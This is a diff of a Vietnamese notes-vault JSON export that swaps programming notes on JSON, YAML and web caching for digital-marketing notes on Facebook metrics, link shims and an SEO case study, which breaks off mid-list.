dung": "Nguồn:: ", + "Toàn bộ nội dung": "```dataview\nLIST rows.file.link\nFROM \"📊Tổ chức, phân tích dữ liệu\" \nWHERE file.name!=this.file.name\nGROUP BY split(file.folder, \"/\")[1]\n```\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-25T14:02:00.000Z", - "id": "Y3" + "Ngày tạo": "2023-10-30T08:20:00.000Z", + "Ngày cập nhật": "2024-09-10T10:06:00.000Z", + "id": "bo" }, { - "Tiêu đề": "JSON hữu ích trong việc truyền dữ liệu vì nó hướng đến việc trở thành phần giao của các ngôn ngữ, chứ không phải phần hợp của chúng", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ đánh dấu/JSON/JSON hữu ích trong việc truyền dữ liệu vì nó hướng đến việc trở thành phần giao của các ngôn ngữ, chứ không phải phần hợp của chúng", + "Tiêu đề": "Có những người mình mong họ like nhưng họ lại không phải là người mình cần", + "URL": "https://lậptrình.quảcầu.cc/🔊Tiếp thị số/Facebook/Có những người mình mong họ like nhưng họ lại không phải là người mình cần", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: ![Douglas Crockford: The JSON Saga - YouTube](https://youtu.be/-C-JoyNuQJs?si=eJMzD1x3jp0rRjZj&t=761)", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày tạo": "2023-10-27T12:33:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Y4" + "id": "bp" }, { - "Tiêu đề": "JSON không cho phép để dư dấu phẩy, không có comment, bắt buộc phải dùng ngoặc kép, key phải được đóng trong ngoặc kép", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ đánh dấu/JSON/JSON không cho phép để dư dấu phẩy, không có comment, bắt buộc phải dùng ngoặc kép, key phải được đóng trong ngoặc kép", + "Tiêu đề": "Có vẻ như để bài viết dưới dạng link hay dạng ảnh thì fb cũng đều phân phối như nhau", + "URL": "https://lậptrình.quảcầu.cc/🔊Tiếp thị số/Facebook/Có vẻ như để bài viết dưới dạng link hay dạng ảnh thì fb cũng đều phân phối như nhau", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "JSON là để cho máy viết, không phải cho người viết. Người muốn viết thì dùng YAML sẽ tốt hơn.\r\n- Key phải được đóng trong ngoặc kép để:\r\n\t- Không dụng phải những reserved word trong JS, \r\n\t- Không phải quan tâm xem \"ký tự\" là gì khi giải quyết unicode ([[Tuỳ vào phương thức mã hoá mà mỗi ký tự Unicode sẽ được biểu diễn bởi 1-4 đơn vị mã, 1-2 đơn vị mã, hoặc chỉ một đơn vị mã duy nhất]]) \r\n\t- Tương thích hơn với Python, vì Python cũng bắt đóng ngoặc kép tất cả các key\r\n- \r\n[[YAML thì để con người dễ đọc, còn JSON là để máy dễ đọc]]\r\n\r\nNguồn:: ![Douglas Crockford: The JSON Saga - YouTube](https://youtu.be/-C-JoyNuQJs?si=YbirDd_LCVQWUYNx&t=339)\r\n\r\nNếu muốn dùng comment thì có thể xài tạm:\r\n```json\r\n{\"//\": \"A way to use comments in json\"}\r\n```\r\nCòn không thì dùng JSONC", + "Toàn bộ nội dung": "Nguồn:: ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-01-12T07:31:00.000Z", + "Ngày tạo": "2023-10-30T07:29:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Y5" + "id": "bq" }, { - "Tiêu đề": "JSON là cách để biểu diễn vật thể ra chữ, chứ tự nó không phải là vật thể", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ đánh dấu/JSON/JSON là cách để biểu diễn vật thể ra chữ, chứ tự nó không phải là vật thể", + "Tiêu đề": "Quảng cáo trên Facebook", + "URL": "https://lậptrình.quảcầu.cc/🔊Tiếp thị số/Facebook/Quảng cáo trên Facebook", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Đây cũng là lý do mà [[Trong JS, console.log() sẽ hiển thị toàn bộ nội dung vật thể mà không phải làm gì. Trong Python, print() sẽ chỉ hiển thị nội dung vật thể nếu __str__() đã được định nghĩa]]\r\nNguồn:: [Ben Alman » There's no such thing as a \"JSON Object\"](https://benalman.com/news/2010/03/theres-no-such-thing-as-a-json/)\r\n\r\n[[JSON hữu ích trong việc truyền dữ liệu vì nó hướng đến việc trở thành phần giao của các ngôn ngữ, chứ không phải phần hợp của chúng]]\r\n[[Serialize là cách duy nhất để truyền dữ liệu từ server tới client và ngược lại]]", + "Toàn bộ nội dung": "Nguồn::\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày tạo": "2023-10-24T11:26:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Y6" + "id": "br" }, { - "Tiêu đề": "JSON Schema dùng để đảm bảo file JSON được viết đúng", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ đánh dấu/JSON/JSON Schema dùng để đảm bảo file JSON được viết đúng", + "Tiêu đề": "Seeding", + "URL": "https://lậptrình.quảcầu.cc/🔊Tiếp thị số/Facebook/Seeding", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: \r\n[JSON Schema Validator - Newtonsoft](https://www.jsonschemavalidator.net/)\r\n[Vỡ lòng về mô tả dữ liệu - Phần 2: JSON Type Definition | Nâu Đá Dev](https://nauda.dev/blog/lap-trinh/json-schema/understanding-json-type-def/)\r\n![What is JSON Schema - YouTube](https://youtu.be/kK-_gL7Vsc0?si=q6ig8HJwgvwbnoum)", + "Toàn bộ nội dung": "Share kèm page thì sẽ thấy được chỉ số reach trên page và đỡ mất công chèn hình, nhưng share trực tiếp hình thì hình sẽ được lưu trong media", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Y7" + "id": "bs" }, { - "Tiêu đề": "Ngôn ngữ đánh dấu", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ đánh dấu/Ngôn ngữ đánh dấu", + "Tiêu đề": "Share bài từ page thì thấy được số tương tác trên Facebook", + "URL": "https://lậptrình.quảcầu.cc/🔊Tiếp thị số/Facebook/Share bài từ page thì thấy được số tương tác trên Facebook", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "| Tối ưu cho... →<br>Ngôn ngữ đánh dấu ↓ | ...cho con người đọc và viết | ...cho việc khai báo metadata | ...cho việc viết tập tin cấu hình | ...cho việc truyền dữ liệu |\n| -------------------------------------- | ---------------------------- | ----------------------------- | --------------------------------- | -------------------------- |\n| YAML | ✔ | ✔ | ❌ | ❌ |\n| XML | ❌ | ✔ | ❌ | ✔ |\n| TOML | ✔ | ❌ | ✔ | ❌ |\n| JSON | ❌ | ❌ | ❌ | ✔ |\n| JSONC/JWCC | ❌ | ❌ | ✔ | ✔ |\n\nNhững thứ mà không tối ưu cho con người đọc và viết thì nên để máy tự in ra. Chỉnh sửa trực tiếp dễ gây lỗi. Hoặc ít nhất là nên viết trong parser/validator để nó báo lỗi ngay cho mình.\n\n[[Chữ ML trong HTML, XML, YAML, TOML là viết tắt của markup language]]\n[The yaml document from hell](https://ruudvanasseldonk.com/2023/01/11/the-yaml-document-from-hell)\n\n```dataview\nLIST\nFROM \"✍️Lập trình/Ngôn ngữ/Ngôn ngữ đánh dấu\" \nWHERE file.name!=this.file.name\n```", + "Toàn bộ nội dung": "CTR thực chất là dựa trên impression. Nhưng khi đăng bài trong group thì fb không cho mình biết con số đó. Nếu share từ page thì có 3 nhược điểm: nhiều group không cho share page, số impression bị gộp chung chứ không tách riêng, UTM bị gộp chung chứ không tách riêng. Nên em đang suy nghĩ ko biết mình dùng số engagement để thay thế có được không? Hơn nữa giữa CTR với việc so sánh số người vào giữa các source thì em thấy cái sau có vẻ hữu ích hơn?\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-01-14T08:32:00.000Z", - "Ngày cập nhật": "2024-08-25T14:02:00.000Z", - "id": "Y8" + "Ngày tạo": "2023-10-27T12:32:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "bt" }, { - "Tiêu đề": "Chuyển từ YAML sang JSON", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ đánh dấu/YAML/Chuyển từ YAML sang JSON", + "Tiêu đề": "subdomain m, l, lm", + "URL": "https://lậptrình.quảcầu.cc/🔊Tiếp thị số/Facebook/subdomain m, l, lm", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Tốt nhất là dùng một [YAML Parser Online](https://jsonformatter.org/yaml-parser) để kiểm tra.\r\n\r\nDấu liệt kê `- ` phía trước và dấu hai chấm `:` phía sau sẽ quyết định nhiều thứ\r\n# Khi chỉ xét một dòng\r\n| Có `- ` phía trước A | Có`:` phía sau A | Kết quả: A là... | YAML | JSON |\r\n| -------------------- | ---------------- | ---------------------------------------------- | ------ | --------------- |\r\n| ✔ | ✔ | Chuỗi | `A` | `\"A\" ` |\r\n| ✔ | ❌ | Một phần tử của một danh sách | `- A` | `[\"A\"]` |\r\n| ❌ | ✔ | Thuộc tính của một vật thể | `A:` | `{\"A\": null}` |\r\n| ✔ | ✔ | Thuộc tính của một vật thể trong một danh sách | `- A:` | `[{\"A\": null}]` |\r\n\r\n\r\n# Khi xét 2 dòng\r\nTrong các đoạn code sau, ở trên là YAML, ở dưới là JSON.\r\n\r\n## Khi A là chuỗi thì B có là gì thì cũng nằm trong cùng chuỗi với A\r\n| Dòng | Có `- ` phía trước | Có `:` phía sau |\r\n| ---- | ------------------ | --------------- |\r\n| A | ❌ | ❌ |\r\n\r\n**B không có `- ` phía trước:**\r\n\r\n```yaml\r\nA\r\nB\r\n```\r\n```json\r\n\"A B\" \r\n```\r\n**B có `- ` phía trước:**\r\n```yaml\r\nA\r\n- B\r\n```\r\n```json\r\n\"A - B\" \r\n```\r\nNếu B có `:` phía sau thì sẽ ra lỗi.\r\n\r\n## `- A` \r\nKhi A chỉ có `- ` phía trước thì A là một phần tử của danh sách.\r\n### `- B`\r\n| Dòng | Có `- ` phía trước | Có `:` phía sau |\r\n| ---- | ------------------ | --------------- |\r\n| A | ✔ | ❌ |\r\n| B | ✔ | ❌ |\r\n\r\nNếu B cũng chỉ có `- ` phía trước thì A với B là các phần tử của một danh sách\r\n```yaml\r\n- A\r\n- B\r\n```\r\n```json\r\n[\r\n \"A\", \r\n \"B\"\r\n]\r\n```\r\n### `- B:`\r\n| Dòng | Có `- ` phía trước | Có `:` phía sau |\r\n| ---- | ------------------ | --------------- |\r\n| A | ✔ | ❌ |\r\n| B | ✔ | ✔ |\r\n\r\nNếu B có cả `- ` phía trước và `:` phía sau thì B là thuộc tính của một vật thể trong cùng danh sách với A (A và `{B:}` cùng danh sách).\r\n```yaml\r\n- A\r\n- B:\r\n```\r\n```json\r\n[\r\n \"A\", \r\n {\r\n \"B\": null\r\n }\r\n]\r\n```\r\n### `B` hoặc `B:` (lỗi) \r\n\r\n| Dòng | Có `- ` phía trước | Có `:` phía sau |\r\n| ---- | ------------------ | --------------- |\r\n| A | ✔ | ❌ |\r\n| B | ❌ | |\r\n## `A:`\r\nKhi A chỉ có `:` phía sau thì A là một thuộc tính của một vật thể.\r\n### `B` (Lỗi)\r\n| Dòng | Có `- ` phía trước | Có `:` phía sau |\r\n| ---- | ------------------ | --------------- |\r\n| A | ❌ | ✔ |\r\n| B | ❌ | ❌ |\r\n```yaml\r\nA:\r\nB\r\n```\r\nLỗi:\r\n```\r\nERROR:\r\n\r\nwhile scanning a simple key\r\n in \"<unicode string>\", line 2, column 1:\r\n B\r\n ^\r\ncould not found expected ':'\r\n in \"<unicode string>\", line 2, column 2:\r\n B\r\n ^\r\n```\r\n### `B:`\r\n| Dòng | Có `- ` phía trước | Có `:` phía sau |\r\n| ---- | ------------------ | --------------- |\r\n| A | ❌ | ✔ |\r\n| B | ❌ | ✔ |\r\n\r\nNếu A và B chỉ có `:` phía sau và đều cùng thẳng hàng với nhau thì A với B đều là thuộc tính của một vật thể:\r\n```yaml\r\nA:\r\nB:\r\n```\r\n```json\r\n{\r\n \"A\": null, \r\n \"B\": null\r\n}\r\n```\r\n\r\n### `- B`, `··- B`\r\n| Dòng | Có `- ` phía trước | Có `:` phía sau |\r\n| ---- | ------------------ | --------------- |\r\n| A | ❌ | ✔ |\r\n| B | ✔ | ❌ |\r\n\r\nNếu B chỉ có `- ` phía trước thì A là một danh sách, B là phần tử của danh sách A\r\n```yaml\r\nA:\r\n- B\r\n```\r\n```json\r\n{\r\n \"A\": [\r\n \"B\"\r\n ]\r\n}\r\n```\r\n\r\n### `- B:`, `··- B:`\r\n| Dòng | Có `- ` phía trước | Có `:` phía sau |\r\n| ---- | ------------------ | --------------- |\r\n| A | ❌ | ✔ |\r\n| B | ✔ | ✔ |\r\nNếu B có `-` phía trước và `:` phía sau, thì A là một danh sách các vật thể, B là thuộc tính của một vật thể trong danh sách đó\r\n```yaml\r\nA:\r\n- B: \r\n```\r\n```json\r\n{\r\n \"A\": [\r\n {\r\n \"B\": null\r\n }\r\n ]\r\n}\r\n```\r\n### `··B`\r\nNếu B thụt dòng so với A và không có `- ` lẫn `:` thì B là giá trị của thuộc tính A.\r\n```yaml\r\nA:\r\n B\r\n```\r\n```json\r\n{\r\n \"A\": \"B\"\r\n}\r\n```\r\n### `··B:`\r\nNếu B thụt dòng so với A và chỉ có `:` phía sau thì giá trị của A là một vật thể, và B là thuộc tính của vật thể đó.\r\n```yaml\r\nA:\r\n B: \r\n```\r\n```json\r\n{\r\n \"A\": {\r\n \"B\": null\r\n }\r\n}\r\n```\r\n## `- A:`\r\nNếu A có `-` phía trước và `:` phía sau thì A là thuộc tính của một vật thể trong một danh sách.\r\n### `B`, `B:`, `··B` (lỗi) \r\n### `- B`\r\n| Dòng | Có `- ` phía trước | Có `:` phía sau |\r\n| ---- | ------------------ | --------------- |\r\n| A | ✔ | ✔ |\r\n| B | ✔ | ❌ |\r\n```yaml\r\n- A:\r\n- B\r\n```\r\n```json\r\n[\r\n {\r\n \"A\": null\r\n },\r\n \"B\"\r\n]\r\n```\r\n### `··B:`\r\n| Dòng | Có `- ` phía trước | Có `:` phía sau |\r\n| ---- | ------------------ | --------------- |\r\n| A | ✔ | ✔ |\r\n| ··B | ❌ | ✔ |\r\n```yaml\r\n- A:\r\n B: \r\n```\r\n```json\r\n[\r\n {\r\n \"A\": null, \r\n \"B\": null\r\n }\r\n]\r\n```\r\n### `··- B`\r\n| Dòng | Có `- ` phía trước | Có `:` phía sau |\r\n| ---- | ------------------ | --------------- |\r\n| A | ✔ | ✔ |\r\n| ··B | ✔ | ❌ |\r\n```yaml\r\n- A:\r\n - B\r\n```\r\n```json\r\n[\r\n {\r\n \"A\": [\r\n \"B\"\r\n ]\r\n }\r\n]\r\n```\r\n### `··- B:`\r\n| Dòng | Có `- ` phía trước | Có `:` phía sau |\r\n| ---- | ------------------ | --------------- |\r\n| A | ✔ | ✔ |\r\n| ··B | ✔ | ✔ |\r\n```yaml\r\n- A:\r\n - B:\r\n```\r\n```json\r\n[\r\n {\r\n \"A\": [\r\n {\r\n \"B\": null\r\n }\r\n ]\r\n }\r\n]\r\n```\r\n# 1\r\n```yaml\r\nA:\r\n - B:\r\n C:\r\n```\r\n```json\r\n{\r\n \"A\": [\r\n {\r\n \"C\": null, \r\n \"B\": null\r\n }\r\n ]\r\n}\r\n```\r\n# 2\r\n```yaml\r\nA:\r\n - B:\r\n - C\r\n```\r\n```json\r\n{\r\n \"A\": [\r\n {\r\n \"B\": [\r\n \"C\"\r\n ]\r\n }\r\n ]\r\n}\r\n```\r\n# 3\r\n```yaml\r\nA:\r\n - B:\r\n - C:\r\n```\r\n```json\r\n{\r\n \"A\": [\r\n {\r\n \"B\": [\r\n {\r\n \"C\": null\r\n }\r\n ]\r\n }\r\n ]\r\n}\r\n```", + "Toàn bộ nội dung": "m là mobile. l là link shim, dùng để báo cho người dùng có phải là spam link hay ko. Nếu nghi là spam thì cho cảnh báo, còn nếu ko thì chuyển liền luôn.\n[Facebook](https://www.facebook.com/notes/10157814493891886/)\nNguồn:: [How to Fix m/lm/l.facebook.com in Google Analytics](https://holini.com/m-lm-l-facebook-com-referrals/)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Y9" + "Ngày cập nhật": "2024-08-21T06:40:00.000Z", + "id": "bu" }, { - "Tiêu đề": "YAML thì để con người dễ đọc, còn JSON là để máy dễ đọc", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ đánh dấu/YAML/YAML thì để con người dễ đọc, còn JSON là để máy dễ đọc", + "Tiêu đề": "Tất cả like, share từ các phiên bản URL khác nhau sẽ được đổ hết về og:url", + "URL": "https://lậptrình.quảcầu.cc/🔊Tiếp thị số/Facebook/Tất cả like, share từ các phiên bản URL khác nhau sẽ được đổ hết về og-url", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[YAML được sinh ra để con người đọc và viết metadata một cách dễ dàng]]\r\n[[JSON không cho phép để dư dấu phẩy, không có comment, bắt buộc phải dùng ngoặc kép, key phải được đóng trong ngoặc kép]]\r\n[[JSON hữu ích trong việc truyền dữ liệu vì nó hướng đến việc trở thành phần giao của các ngôn ngữ, chứ không phải phần hợp của chúng]] \r\n![YAML Considered Harmful - Philipp Krenn - YouTube](https://youtu.be/WQurEEfSf8M)", + "Toàn bộ nội dung": "Nguồn:: [Webmasters - Sharing](https://developers.facebook.com/docs/sharing/webmasters/)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-22T14:46:00.000Z", + "Ngày tạo": "2023-10-30T07:29:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "YA" + "id": "bv" }, { - "Tiêu đề": "YAML được sinh ra để con người đọc và viết metadata một cách dễ dàng", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ đánh dấu/YAML/YAML được sinh ra để con người đọc và viết metadata một cách dễ dàng", + "Tiêu đề": "Để biết được bài đăng của mình tiếp cận được bao nhiêu người, vào Business Suite", + "URL": "https://lậptrình.quảcầu.cc/🔊Tiếp thị số/Facebook/Để biết được bài đăng của mình tiếp cận được bao nhiêu người, vào Business Suite", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "```\r\nVật thể:\r\n  - Tên chiều: Món đồ\r\n    Dữ liệu tự nhận dạng: \r\n    Ký tự để nhập trực tiếp:\r\n      Từ:\r\n        - @\r\n      Nhãn:\r\n        - @@\r\n    Tên gọi đầu ra:\r\n      Từ: Item\r\n      Nhãn: \r\n```\r\n\r\nNếu bạn cần dùng các ký tự này: `{`, `}`, `[`, `]`, `&`, `*`, `#`, `?`, `|`, `-`, `<`, `>`, `=`, `!`, `%`, `@`, `:`, `` ` ``, `,` thì cần để vào dấu nháy đơn hoặc nháy kép.\r\n> [!Attention] Khoảng trắng ở mỗi đầu dòng cần phải chính xác\r\n> Bạn cũng chỉ được dùng **dấu cách** để tạo khoảng trắng chứ không được dùng **tab**\r\n\r\n[[YAML thì để con người dễ đọc, còn JSON là để máy dễ đọc]]", + "Toàn bộ nội dung": "Nguồn:: [Log in and access Meta Business Suite and Business Manager](https://business.facebook.com/latest/posts/published_posts/)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-26T08:16:00.000Z", + "Ngày tạo": "2023-10-30T07:29:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "YB" + "id": "bw" }, { - "Tiêu đề": "Cache giúp giảm thời gian tải trang", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Cache giúp giảm thời gian tải trang", + "Tiêu đề": "❓Vai trò của các chỉ số trên Facebook trong phân tích web", + "URL": "https://lậptrình.quảcầu.cc/🔊Tiếp thị số/Facebook/❓Vai trò của các chỉ số trên Facebook trong phân tích web", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Mô tả bài đăng": "Nó giống cái tủ lạnh. Thay vì hằng ngày bạn phải đi chợ, thì hằng tuần bạn đi chợ cho đồ vào tủ lạnh, rồi hằng ngày bạn chỉ việc ra tủ lạnh lấy đồ", - "Toàn bộ nội dung": "Nó giống cái tủ lạnh. Thay vì hằng ngày bạn phải đi chợ, thì hằng tuần bạn đi chợ cho đồ vào tủ lạnh, rồi hằng ngày bạn chỉ việc ra tủ lạnh lấy đồ\r\n\r\nNguồn:: [[CodeAnalogies]], [Web Caching Explained by Buying Milk at the Supermarket – CodeAnalogies Blog](https://blog.codeanalogies.com/2018/06/11/web-caching-explained-by-buying-milk-at-the-supermarket/)\r\n\r\n\r\n[[Khi chỉnh CSS mà thấy không thay đổi, thử xoá cache xem]] \r\n", + "Toàn bộ nội dung": "Nếu nhiệm vụ của mình là dẫn người đọc tìm hiểu kỹ hơn web của mình, thì chỉ số react, reach, impression và engagement trên Facebook có còn quan trọng nữa không, hay chỉ cần xem báo cáo trên Google Analytics là đủ? Những chỉ số đó lúc này còn tác dụng gì nữa không?\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày tạo": "2023-10-26T07:59:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "YC" + "id": "bx" }, { - "Tiêu đề": "Cookie lưu thông tin cá nhân để server nhận dạng được ai với ai", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Cookie lưu thông tin cá nhân để server nhận dạng được ai với ai", + "Tiêu đề": "Kinh nghiệm", + "URL": "https://lậptrình.quảcầu.cc/🔊Tiếp thị số/Kinh nghiệm", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: [Internet Cookies Explained by Taking Your Kids To The Doctor’s Office – CodeAnalogies Blog](https://blog.codeanalogies.com/2018/06/02/internet-cookies-explained-by-taking-your-kids-to-the-doctors-office/)", + "Toàn bộ nội dung": "## [CASE STUDY] 3 NĂM LÀM NHÂN SỰ INHOUSE - SEO 01 WEBSITE DUY NHẤT - MÌNH Đà LÀM GÌ?\n\nĐây là dự án SEO đầu tay đem mình từ vị trí intern lên lead SEO, cũng là dự án mang lại nhiều trải nghiệm và kinh nghiệm với mình nhất cho tới hiện tại.\n\nTới nay công việc của mình hầu như không còn thời gian cho mảng SEO nữa. Tuy nhiên mình vẫn tham gia event với mong muốn note lại cho bản thân cũng như chia sẻ cho anh chị em sau thời gian dài tàu ngầm trong group. Bắt đầu thôi!\n\n### I. MÔ TẢ DỰ ÁN\n\n- Dự án về thời trang, web nhỏ với độ nhận diện và doanh số chưa cao.\n- Riêng mảng SEO chưa có nhân sự chính tiếp nhận, do đó quy trình SEO chưa bài bản. Phần content blog rời rạc, nội dung chưa có hệ thống và mục tiêu rõ ràng. Không nghiên cứu từ khóa khi lên content. Các phần Technical, Onpage, Offpage đều không được tối ưu.\n\n### II. THỰC TRẠNG\n\nMình bắt đầu tiếp nhận mảng SEO sau 2 tháng Intern đồng thời là thử việc, song song làm content social + kiêm mảng SEO.\n\nSố lượng bài mới ban đầu của web là 30 bài/tháng. Nội dung lộn xộn và không được kiểm duyệt kỹ do không có nhân sự chuyên trách.\n\nThuận lợi\n\n- Website có sự support và nguồn traffic khá mạnh từ các kênh social.\n- Đội dev inhouse hỗ trợ nhiệt tình nên những vấn đề về technical hầu hết đều giải quyết khá nhanh chóng.\n- Chi phí mảng SEO không bị giới hạn chặt do công ty xác định đầu tư kênh traffic từ SEO một cách lâu dài và hiệu quả từ đầu.\n\nKhó khăn\n\n- Với mình đây là một mảng mới hoàn toàn và cũng chưa được tiếp xúc về mặt kiến thức trước đó. Đồng thời giai đoạn đầu khi tiếp nhận công việc, mình cũng không có mentor hay người training. Do vậy thời gian đầu chủ yếu là tự làm và tự học nên đi khá chậm.\n\n### III. MỤC TIÊU\n\n- Tăng thứ hạng các từ khóa mục tiêu\n- Tăng lưu lượng truy cập website từ nguồn organic search\n- Tăng độ phủ thương hiệu và uy tín của website.\n- Tăng doanh số từ nguồn organic search một cách bền vững\n\n### IV. THỰC THI\n\n### 1. Giai đoạn 1 (9 tháng đầu tiên)\n\nMình chủ yếu lên kw + kiểm duyệt bài CTV content do vẫn kiêm nhiệm task khác. Phần này mình hầu như xây nền nội dung, bắt đầu manh nha tối ưu onpage 1 vài yếu tố về title, heading, từ khóa, ảnh tuy nhiên chỉ dưới góc độ là checklist bài viết khi làm việc với CTV content.\n\nSau 1 năm đảm nhiệm phần SEO, mình tăng số lượng bài viết lên 100 bài/tháng. Website tăng trưởng Traffic đáng kể. Tuy nhiên phần tăng traffic do số lượng bài lên mới chứ chưa được tối ưu.\n\nThời gian này thu hoạch lớn nhất của mình là đào tạo được 1 đội ngũ CTV content chất lượng và đồng hành lâu dài giúp mình rất nhàn với khâu kiểm duyệt nội dung.\n\n### 2. Giai đoạn 2 (3 tháng tiếp theo)\n\nGiai đoạn này mình vẫn kiêm nhiệm multitask và có thêm 1 nhân sự hỗ trợ. Team vẫn tập trung xây nội dung blog kéo traffic. Đồng thời bắt đầu đi internal link có bài bản hơn.\n\nCác công việc team làm trong phần này khá cơ bản bao gồm:\n\n- Nghiên cứu từ khóa\n- Lên bài viết mới\n- Tối ưu thẻ SEO cho category\n- Lên list nội dung phù hợp book lịch share social\n- Đi internal link bài viết\n\n### 3. Giai đoạn 3 (2 năm thực sự chiến đấu với SEO)\n\nSau 1 năm mutil task, mình tập trung chuyên môn hóa vào SEO và có thêm 1 team nhân sự chuyên môn, đồng thời team có thêm mentor. Giai đoạn này Team đã triển khai như sau:\n\nĐịnh hướng SEO theo 2 phase chính:\n\nPhase 1: Gom traffic\n\nPhủ nội dung liên quan đến ngành hàng và sản phẩm đang kinh doanh cũng như có định hướng kinh doanh theo kế hoạch dài hạn của BOD (80%)\n\nPhủ nội dung liên quan đến khách hàng mục tiêu quan tâm và liên kết chéo được tới ngành hàng kinh doanh (20%)\n\n⇒ Tập trung nghiên cứu từ khóa hệ blog để tăng traffic nhanh chóng và hiệu quả nhất trong 6 tháng để sang phase tiếp theo.\n\nTeam khá chật vật trong 1 tháng đầu tiên do scale đội CTV số lượng lớn và để nội dung bài viết đạt yêu cầu đồng đều.\n\nPhase 2: Tối ưu và tạo chuyển đổi\n\nTrong giai đoạn này, team vẫn duy trì lượng bài lên mới + audit đều đặn.\n\nTừ nguồn traffic đã xây, team tiếp cận tối ưu và tạo chuyển đổi từ traffic organic theo 2 hướng:\n\n- Tối ưu doanh thu hệ cate bằng cách tăng ranking Category\n- Tăng hiển thị sản phẩm tại trang blog\n\nCác công việc team mình triển khai:\n\n1. Technical\n\n- Các phần technical setup 1 lần: Làm việc với team dev để set up tất cả các phần technical giúp website index nhanh nhất có thể bao gồm: API lập chỉ mục, tạo file Index Now, gửi lại file Robot chuẩn, cấu trúc lại sitemaps tự động, xác định và gắn các loại schema chuẩn cho từng loại trang.\n- Tốc độ tải trang: Website có chỉ số hiệu suất khá yếu do web code tay và phát triển dần dần, Do đó bị nặng về tính năng nên rất khó cải thiện. Phần này mình chủ yếu làm việc với dev để chỉnh tốc độ tải trang từ việc xử lý lưu trữ hình ảnh, giảm dung lượng ảnh qua 2 bước giảm tay + tự động khi tải lên web.\n- Xây dựng rule auto với ALT, URL, tên ảnh tự động khi tải lên web do lượng sản phẩm listing lớn để vẫn đảm bảo tối ưu của SEO và mặt vận hành.\n\n2. Nghiên cứu từ khóa\n\nNghiên cứu bộ từ khóa mục tiêu cho hệ cate (từ khóa sản phẩm) và hệ blog và xác định URL tương ứng đi triển khai đúng đủ từ khóa cho link mục tiêu.\n\n- Hệ từ khóa sản phẩm: thường cố định số lượng, trừ khi công ty mở rộng hoặc thay đổi ngành hàng kinh doanh. Là bộ key mình cần theo dõi định kỳ\n- Hệ từ khóa Blog: bộ này team nghiên cứu + chia tỷ lệ kw mới và kw cần audit nội dung định kỳ vào đầu tháng.\n\n3. 